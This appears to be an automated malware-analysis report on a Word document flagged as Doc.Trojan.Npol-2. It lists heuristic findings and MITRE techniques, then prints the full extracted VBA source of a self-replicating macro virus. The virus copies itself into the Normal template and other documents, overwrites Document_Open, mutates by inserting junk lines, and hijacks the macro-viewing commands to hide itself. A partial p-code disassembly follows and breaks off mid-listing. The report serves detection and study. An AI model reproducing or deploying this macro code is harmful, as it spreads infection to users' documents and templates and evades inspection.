MALICIOUS
264
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Word document containing VBA macros, specifically an AutoOpen macro that attempts to spread itself to other documents and the Normal template. The macro also attempts to overwrite the Document_Open subroutine with its own code, indicating a persistence and self-propagation mechanism. The presence of legacy WordBasic markers and the ClamAV detection further confirm its malicious nature.
Heuristics 7
-
ClamAV: Doc.Trojan.Npol-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Npol-2
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Application.OrganizerCopy ThisDocument.FullName, SpreadDir & Victim, "Relax", wdOrganizerObjectProjectItems -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Relax.AutoOpen -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
SpreadDir = Environ("WINDIR") & "\Recent" -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 55769 bytes |
SHA-256: 10ea2561da32eeae4f1fb316f900cc01db11bc2dd7c79f9325a4a1b4e70029dd |
|||
|
Detection
ClamAV:
Doc.Trojan.Npol-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Relax.AutoOpen
End Sub
Attribute VB_Name = "Relax"
Rem #########################
Rem # Technical Illusions #
Rem # Virus by Lord Arz #
Rem #########################
Sub AutoOpen()
On Error Resume Next
Randomize (Timer)
SpreadDir = Application.Path & "\"
Victim = Dir(SpreadDir & "\*.dot")
Do Until Victim = ""
SetAttr SpreadDir & Victim, vbNormal
Application.OrganizerCopy ThisDocument.FullName, SpreadDir & Victim, "Relax", wdOrganizerObjectProjectItems
Victim = Dir
Loop
Application.OrganizerCopy ThisDocument.FullName, SpreadDir & "\*.doc", "Relax", wdOrganizerObjectProjectItems
SpreadDir = Environ("WINDIR") & "\Recent"
Chk = Dir(recent & "\*.doc")
If Chk = True Then Application.OrganizerCopy ThisDocument.FullName, SpreadDir & "\*.doc", "Relax", wdOrganizerObjectProjectItems
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Relax" Then GoTo AlreadyDone
Next i
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Relax", wdOrganizerObjectProjectItems
Application.OrganizerCopy ActiveDocument.FullName, Environ("WinDir") & "\ShellNew\Winword8.doc", "Relax", wdOrganizerObjectProjectItems
VirusJump = "Private Sub Document_Open()"
VirusJump = VirusJump & "Relax.AutoOpen" & Chr(13) & "End Sub"
With ActiveDocument.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.InsertLines 1, VirusJump
End With
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.InsertLines 1, VirusJump
End With
AlreadyDone:
If Int(Rnd * 24) > Hour(Time) Then
MorphFactor = Int(Rnd * 10)
Select Case MorphFactor
Case 1
Fake = Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 999999999))
Case 2
Fake = Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & Chr(58) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(58)
Case 3
Fake = "DoEvents"
Case 4
Fake = "'" & Application.UserName & Application.UserAddress & Application.ActivePrinter
Case 5
JumpPoint = Chr(Int(Rnd * 5) + 65) & Hex(CStr(Oct(MorphFactor ^ 4) & CStr(Day(Date)) & CStr(Minute(Time)) & CStr(Hour(Time))))
Fake = "Goto " & JumpPoint & Chr(13) & JumpPoint & ":"
Case 6
Fake = Chr(13)
Case 7
Fake = "For " & Chr(MorphFactor + 65) & " = 1 To 1" & Chr(13) & "Next " & Chr(MorphFactor + 65)
Case 8
Fake = "Rem"
Case 9
Fake = "If " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45)) & "Then " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45))
Case 10
Fake = "Do" & Chr(13) & "Exit Do" & Chr(13) & "Loop"
End Select
ThisDocument.VBProject.VBComponents("Relax").CodeModule.InsertLines Int(Rnd * ThisDocument.VBProject.VBComponents("Relax").CodeModule.CountOfLines - 3) + 1, Fake
End If
End Sub
Sub FilePrint()
On Error Resume Next
'Note that the pic is from Progenic Warfare [P®W] © 1998
Sweety = " 8888 8888888" & Chr(13)
Sweety = Sweety & " 8888:::8888888888888888888888888" & Chr(13)
Sweety = Sweety & " 8888::::::8888888888888888888888888888 " & Chr(13)
Sweety = Sweety & " 88::::::::888:::8888888888888888888888888" & Chr(13)
Sweety = Sweety & " 88888888::::8:::::::::::88888888888888888888" & Chr(13)
Sweety = Sweety & " 888 8::888888::::::::::::::::::88888888888 888" & Chr(13)
Sweety = Sweety & " 88::::88888888::::m::::::::::88888888888 8" & Chr(13)
Sweety = Sweety & " 888888888888888888:M:::::::::::8888888888888" & Chr(13)
Sweety = Sweety & " 88888888888888888888::::::::::::M88888888888888" & Chr(13)
Sweety = Sweety & " 8888888888888888888888:::::::::M8888888888888888" & Chr(13)
Sweety = Sweety & " 8888888888888888888888:::::::M888888888888888888" & Chr(13)
Sweety = Sweety & " 8888888888888888::88888::::::M88888888888888888888" & Chr(13)
Sweety = Sweety & " 88888888888888888:::88888:::::M888888888888888 8888" & Chr(13)
Sweety = Sweety & " 88888888888888888:::88888::::M::;o*M*o;888888888 88" & Chr(13)
Sweety = Sweety & " 88888888888888888:::8888:::::M:::::::::::88888888 8" & Chr(13)
Sweety = Sweety & " 88888888888888888::::88::::::M:;:::::::::::888888888" & Chr(13)
Sweety = Sweety & " 8888888888888888888:::8::::::M::aAa::::::::M8888888888 8" & Chr(13)
Sweety = Sweety & " 88 8888888888::88::::8::::M:::::::::::::888888888888888 8888" & Chr(13)
Sweety = Sweety & " 88 88888888888:::8:::::::::M::::::::::;::88:88888888888888888" & Chr(13)
Sweety = Sweety & " 8 8888888888888:::::::::::M::²@@@@@@@²::::8w8888888888888888" & Chr(13)
Sweety = Sweety & " 88888888888:888::::::::::M:::::³@a@³:::::M8i888888888888888" & Chr(13)
Sweety = Sweety & " 8888888888::::88:::::::::M88:::::::::::::M88z88888888888888888" & Chr(13)
Sweety = Sweety & "8888888888:::::8:::::::::M88888:::::::::MM888!888888888888888888" & Chr(13)
Sweety = Sweety & "888888888:::::8:::::::::M8888888MAmmmAMVMM888*88888888 88888888" & Chr(13)
Sweety = Sweety & "888888 M:::::::::::::::M888888888:::::::MM88888888888888 8888888" & Chr(13)
Sweety = Sweety & "8888 M::::::::::::::M88888888888::::::MM888888888888888 88888" & Chr(13)
Sweety = Sweety & " 888 M:::::::::::::M8888888888888M:::::mM888888888888888 8888" & Chr(13)
Sweety = Sweety & " 888 M::::::::::::M8888:888888888888::::m::Mm88888 888888 8888" & Chr(13)
Sweety = Sweety & " 88 M::::::::::::8888:88888888888888888::::::Mm8 88888 888" & Chr(13)
Sweety = Sweety & " 88 M::::::::::8888M::88888::888888888888:::::::Mm88888 88" & Chr(13)
Sweety = Sweety & " 8 MM::::::::8888M:::8888:::::888888888888::::::::Mm8 4" & Chr(13)
Sweety = Sweety & " 8M:::::::8888M:::::888:::::::88:::8888888::::::::Mm 2" & Chr(13)
Sweety = Sweety & " 88MM:::::8888M:::::::88::::::::8:::::888888:::M:::::M" & Chr(13)
Sweety = Sweety & " 8888M:::::888MM::::::::8:::::::::::M::::8888::::M::::M" & Chr(13)
Sweety = Sweety & " 88888M:::::88:M::::::::::8:::::::::::M:::8888::::::M::M" & Chr(13)
Sweety = Sweety & " 88 888MM:::888:M:::::::::::::::::::::::M:8888:::::::::M:" & Chr(13)
Sweety = Sweety & " 8 88888M:::88::M:::::::::::::::::::::::MM:88::::::::::::M" & Chr(13)
Sweety = Sweety & " 88888M:::88::M::::::::::*88*::::::::::M:88::::::::::::::M" & Chr(13)
Sweety = Sweety & " 888888M:::88::M:::::::::88@@88:::::::::M::88::::::::::::::M" & Chr(13)
Sweety = Sweety & " 888888MM::88::MM::::::::88@@88:::::::::M:::8::::::::::::::*8" & Chr(13)
Sweety = Sweety & " 88888 M:::8::MM:::::::::*88*::::::::::M:::::::::::::::::88@@" & Chr(13)
Sweety = Sweety & " 8888 MM::::::MM:::::::::::::::::::::MM:::::::::::::::::88@@" & Chr(13)
Sweety = Sweety & " 888 M:::::::MM:::::::::::::::::::MM::M::::::::::::::::*8" & Chr(13)
Sweety = Sweety & " 888 MM:::::::MMM::::::::::::::::MM:::MM:::::::::::::::M" & Chr(13)
Sweety = Sweety & " 88 M::::::::MMMM:::::::::::MMMM:::::MM::::::::::::MM" & Chr(13)
Sweety = Sweety & " 88 MM:::::::::MMMMMMMMMMMMMMM::::::::MMM::::::::MMM" & Chr(13)
Sweety = Sweety & " 88 MM::::::::::::MMMMMMM::::::::::::::MMMMMMMMMM" & Chr(13)
Sweety = Sweety & " 88 8MM::::::::::::::::::::::::::::::::::MMMMMM" & Chr(13)
Sweety = Sweety & " 8 88MM::::::::::::::::::::::M:::M::::::::MM" & Chr(13)
Sweety = Sweety & " 888MM::::::::::::::::::MM::::::MM::::::MM" & Chr(13)
Sweety = Sweety & " 88888MM:::::::::::::::MMM:::::::mM:::::MM" & Chr(13)
Sweety = Sweety & " 888888MM:::::::::::::MMM:::::::::MMM:::M" & Chr(13)
Sweety = Sweety & " 88888888MM:::::::::::MMM:::::::::::MM:::M" & Chr(13)
Sweety = Sweety & " 88 8888888M:::::::::MMM::::::::::::::M:::M" & Chr(13)
Sweety = Sweety & " 8 888888 M:::::::MM:::::::::::::::::M:::M:" & Chr(13)
Sweety = Sweety & " 888888 M::::::M:::::::::::::::::::M:::MM" & Chr(13)
Sweety = Sweety & " 888888 M:::::M::::::::::::::::::::::::M:M" & Chr(13)
Sweety = Sweety & " 888888 M:::::M:::::::::@::::::::::::::M::M" & Chr(13)
Sweety = Sweety & " 88888 M::::::::::::::@@:::::::::::::::M::M" & Chr(13)
Sweety = Sweety & " 88888 M::::::::::::::@@@::::::::::::::::M::M" & Chr(13)
Sweety = Sweety & " 88888 M:::::::::::::::@@::::::::::::::::::M::M" & Chr(13)
Sweety = Sweety & " 88888 M:::::m::::::::::@::::::::::Mm:::::::M:::M" & Chr(13)
Sweety = Sweety & " 8888 M:::::M:::::::::::::::::::::::MM:::::::M:::M" & Chr(13)
Sweety = Sweety & " 8888 M:::::M:::::::::::::::::::::::MMM::::::::M:::M" & Chr(13)
Sweety = Sweety & " 888 M:::::Mm::::::::::::::::::::::MMM:::::::::M::::M" & Chr(13)
Sweety = Sweety & " 8888 MM::::Mm:::::::::::::::::::::MMMM:::::::::m::m:::M" & Chr(13)
Sweety = Sweety & " 888 M:::::M::::::::::::::::::::MMM::::::::::::M::mm:::M" & Chr(13)
Sweety = Sweety & " 8888 MM:::::::::::::::::::::::::MM:::::::::::::mM::MM:::M:" & Chr(13)
Sweety = Sweety & " M:::::::::::::::::::::::::M:::::::::::::::mM::MM:::Mm" & Chr(13)
Sweety = Sweety & " MM::::::m:::::::::::::::::::::::::::::::::::M::MM:::MM" & Chr(13)
Sweety = Sweety & " M::::::::M:::::::::::::::::::::::::::::::::::M::M:::MM" & Chr(13)
Sweety = Sweety & " MM:::::::::M:::::::::::::M:::::::::::::::::::::M:M:::MM" & Chr(13)
Sweety = Sweety & " M:::::::::::M88:::::::::M:::::::::::::::::::::::MM::MMM" & Chr(13)
Sweety = Sweety & " M::::::::::::8888888888M::::::::::::::::::::::::MM::MM" & Chr(13)
Sweety = Sweety & " M:::::::::::::88888888M:::::::::::::::::::::::::M::MM" & Chr(13)
Sweety = Sweety & " M::::::::::::::888888M:::::::::::::::::::::::::M::MM" & Chr(13)
Sweety = Sweety & " M:::::::::::::::88888M:::::::::::::::::::::::::M:MM" & Chr(13)
Sweety = Sweety & " M:::::::::::::::::88M::::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " M:::::::::::::::::::M::::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::::::::::::::M::::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " M:::::::::::::::::M::::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::::::::::::M::::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " M:::::::::::::::M:::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::::::::::M:::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " M:::::::::::::M::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::::::::M::::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " M:::::::::::M:::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::::::M:::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " M:::::::::M::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::::M::::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM::::::M:::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::M:::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM::::M::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::M::::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM::M:::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:M:::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MMM::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM::::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " M:::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM::::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MM:::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " mMM::::MM:::::::MMMM" & Chr(13)
Sweety = Sweety & " mMM:::M:::::::M:M:M" & Chr(13)
Sweety = Sweety & " MM::MMM::::::::M:M" & Chr(13)
Sweety = Sweety & " MM::MM:::::::::M:M" & Chr(13)
Sweety = Sweety & " MM::MM::::::::::M:m" & Chr(13)
Sweety = Sweety & " MM:::M:::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::::M:" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::::M:" & Chr(13)
Sweety = Sweety & " MMM::::::::::::::::M" & Chr(13)
Sweety = Sweety & " MMM::::::::::::::::M" & Chr(13)
Sweety = Sweety & " MMM::::::::::::::::Mm" & Chr(13)
Sweety = Sweety & " MM::::::::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::::MM" & Chr(13)
Sweety = Sweety & " MM::::::::::::::MMM" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM:::::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM::::::::::::MM" & Chr(13)
Sweety = Sweety & " MM::::::::::::MM" & Chr(13)
Sweety = Sweety & " MM::::::::::::MM" & Chr(13)
Sweety = Sweety & " MM:::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM::::::::::MM" & Chr(13)
Sweety = Sweety & " MMM::::::::::MM" & Chr(13)
Sweety = Sweety & " MM:::::::::MM" & Chr(13)
Sweety = Sweety & " MMM::::::::MM" & Chr(13)
Sweety = Sweety & " MMM::::::MM" & Chr(13)
Sweety = Sweety & " MM::::::MM" & Chr(13)
Sweety = Sweety & " MM:::::MM" & Chr(13)
Sweety = Sweety & " MM:::::M:M" & Chr(13)
Sweety = Sweety & " :M::::::M:" & Chr(13)
Sweety = Sweety & " M:::M::::::M" & Chr(13)
Sweety = Sweety & " M:::::M:::::::M" & Chr(13)
Sweety = Sweety & " M::::::MM:::::::M" & Chr(13)
Sweety = Sweety & " M:::::::M::::::::M" & Chr(13)
Sweety = Sweety & " M;:;::::M:::::::::M" & Chr(13)
Sweety = Sweety & " M:m:;:::M::::::::::M" & Chr(13)
Sweety = Sweety & " MM:m:m::M::::::::;:M" & Chr(13)
Sweety = Sweety & " MM:m::MM:::::::;:;M" & Chr(13)
Sweety = Sweety & " MM::MMM::::::;:m:M" & Chr(13)
Sweety = Sweety & " MMMM MM::::m:m:MM" & Chr(13)
Sweety = Sweety & " MM::::m:MM" & Chr(13)
Sweety = Sweety & " MM::::MM" & Chr(13)
Sweety = Sweety & " MM::MM" & Chr(13)
Selection.Font.Size = 4
Selection.Font.Name = "Courier New"
Selection.MoveEnd
Selection.Text = Sweety
Dialogs(wdDialogFilePrint).Show
Selection.Delete
End Sub
Sub ViewVBCode()
On Error Resume Next
With ActiveDocument.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
End With
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
End With
Application.OrganizerDelete ActiveDocument.Name, "Relax", wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate.Name, "Relax", wdOrganizerObjectProjectItems
ShowVisualBasicEditor = True
End Sub
Sub ToolsMacro()
On Error Resume Next
With ActiveDocument.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
End With
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
End With
Application.OrganizerDelete ActiveDocument.Name, "Relax", wdOrganizerObjectProjectItems
Application.OrganizerDelete NormalTemplate.Name, "Relax", wdOrganizerObjectProjectItems
Dialogs(wdDialogToolsMacro).Display
End Sub
' Processing file: /tmp/qstore_yigcg8g2
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2386 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' Ld Relax
' ArgsMemCall AutoOpen 0x0000
' Line #2:
' EndSub
' Macros/VBA/Relax - 23669 bytes
' Line #0:
' Rem 0x001A " #########################"
' Line #1:
' Rem 0x001A " # Technical Illusions #"
' Line #2:
' Rem 0x001A " # Virus by Lord Arz #"
' Line #3:
' Rem 0x001A " #########################"
' Line #4:
' FuncDefn (Sub AutoOpen())
' Line #5:
' OnError (Resume Next)
' Line #6:
' Ld Timer
' Paren
' ArgsCall Read 0x0001
' Line #7:
' Ld Application
' MemLd Path
' LitStr 0x0001 "\"
' Concat
' St SpreadDir
' Line #8:
' Ld SpreadDir
' LitStr 0x0006 "\*.dot"
' Concat
' ArgsLd Dir 0x0001
' St Victim
' Line #9:
' Line #10:
' Ld Victim
' LitStr 0x0000 ""
' Eq
' DoUnitil
' Line #11:
' Ld SpreadDir
' Ld Victim
' Concat
' Ld vbNormal
' ArgsCall SetAttr 0x0002
' Line #12:
' Ld ThisDocument
' MemLd FullName
' Ld SpreadDir
' Ld Victim
' Concat
' LitStr 0x0005 "Relax"
' Ld wdOrganizerObjectProjectItems
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #13:
' Ld Dir
' St Victim
' Line #14:
' Loop
' Line #15:
' Line #16:
' Ld ThisDocument
' MemLd FullName
' Ld SpreadDir
' LitStr 0x0006 "\*.doc"
' Concat
' LitStr 0x0005 "Relax"
' Ld wdOrganizerObjectProjectItems
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #17:
' LitStr 0x0006 "WINDIR"
' ArgsLd Environ 0x0001
' LitStr 0x0007 "\Recent"
' Concat
' St SpreadDir
' Line #18:
' Ld recent
' LitStr 0x0006 "\*.doc"
' Concat
' ArgsLd Dir 0x0001
' St Chk
' Line #19:
' Ld Chk
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld ThisDocument
' MemLd FullName
' Ld SpreadDir
' LitStr 0x0006 "\*.doc"
' Concat
' LitStr 0x0005 "Relax"
' Ld wdOrganizerObjectProjectItems
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' EndIf
' Line #20:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #21:
' Ld i
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "Relax"
' Eq
' If
' BoSImplicit
' GoTo AlreadyDone
' EndIf
' Line #22:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #23:
' Line #24:
' Ld ActiveDocument
' MemLd FullName
' Ld NormalTemplate
' MemLd FullName
' LitStr 0x0005 "Relax"
' Ld wdOrganizerObjectProjectItems
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #25:
' Ld ActiveDocument
' MemLd FullName
' LitStr 0x0006 "WinDir"
' ArgsLd Environ 0x0001
' LitStr 0x0016 "\ShellNew\Winword8.doc"
' Concat
' LitStr 0x0005 "Relax"
' Ld wdOrganizerObjectProjectItems
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #26:
' Line #27:
' LitStr 0x001B "Private Sub Document_Open()"
' St VirusJump
' Line #28:
' Ld VirusJump
' LitStr 0x000E "Relax.AutoOpen"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0007 "End Sub"
' Concat
' St VirusJump
' Line #29:
' Line #30:
' StartWithExpr
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' With
' Line #31:
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemCallWith DeleteLines 0x0002
' Line #32:
' LitDI2 0x0001
' Ld VirusJump
' ArgsMemCallWith InsertLines 0x0002
' Line #33:
' EndWith
' Line #34:
' StartWithExpr
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' With
' Line #35:
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemCallWith DeleteLines 0x0002
' Line #36:
' LitDI2 0x0001
' Ld VirusJump
' ArgsMemCallWith InsertLines 0x0002
' Line #37:
' EndWith
' Line #38:
' Label AlreadyDone
' Line #39:
' Ld Rnd
' LitDI2 0x0018
' Mul
' FnInt
' Ld Time
' ArgsLd Hour 0x0001
' Gt
' IfBlock
' Line #40:
' Ld Rnd
' LitDI2 0x000A
' Mul
' FnInt
' St MorphFactor
' Line #41:
' Ld MorphFactor
' SelectCase
' Line #42:
' LitDI2 0x0001
' Case
' CaseDone
' Line #43:
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0003 " = "
' Concat
' Ld Rnd
' LitDI4 0xC9FF 0x3B9A
' Mul
' FnInt
' Coerce (Str)
' Concat
' St Fake
' Line #44:
' LitDI2 0x0002
' Case
' CaseDone
' Line #45:
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0003 " = "
' Concat
' LitDI2 0x003A
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x003A
' ArgsLd Chr 0x0001
' Concat
' St Fake
' Line #46:
' LitDI2 0x0003
' Case
' CaseDone
' Line #47:
' LitStr 0x0008 "DoEvents"
' St Fake
' Line #48:
' LitDI2 0x0004
' Case
' CaseDone
' Line #49:
' LitStr 0x0001 "'"
' Ld Application
' MemLd UserName
' Concat
' Ld Application
' MemLd UserAddress
' Concat
' Ld Application
' MemLd ActivePrinter
' Concat
' St Fake
' Line #50:
' LitDI2 0x0005
' Case
' CaseDone
' Line #51:
' Ld Rnd
' LitDI2 0x0005
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Ld MorphFactor
' LitDI2 0x0004
' Pwr
' ArgsLd Oct 0x0001
' Ld Date
' ArgsLd Day 0x0001
' Coerce (Str)
' Concat
' Ld Time
' ArgsLd Minute 0x0001
' Coerce (Str)
' Concat
' Ld Time
' ArgsLd Hour 0x0001
' Coerce (Str)
' Concat
' Coerce (Str)
' ArgsLd Hex 0x0001
' Concat
' St JumpPoint
' Line #52:
' LitStr 0x0005 "Goto "
' Ld JumpPoint
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' Ld JumpPoint
' Concat
' LitStr 0x0001 ":"
' Concat
' St Fake
' Line #53:
' LitDI2 0x0006
' Case
' CaseDone
' Line #54:
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' St Fake
' Line #55:
' LitDI2 0x0007
' Case
' CaseDone
' Line #56:
' LitStr 0x0004 "For "
' Ld MorphFactor
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0009 " = 1 To 1"
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0005 "Next "
' Concat
' Ld MorphFactor
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
' Concat
' St Fake
' Line #57:
' LitDI2 0x0008
' Case
' CaseDone
' Line #58:
' LitStr 0x0003 "Rem"
' St Fake
' Line #59:
' LitDI2 0x0009
' Case
' CaseDone
' Line #60:
' LitStr 0x0003 "If "
' Ld Rnd
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0041
' Add
' ArgsLd Chr 0x0001
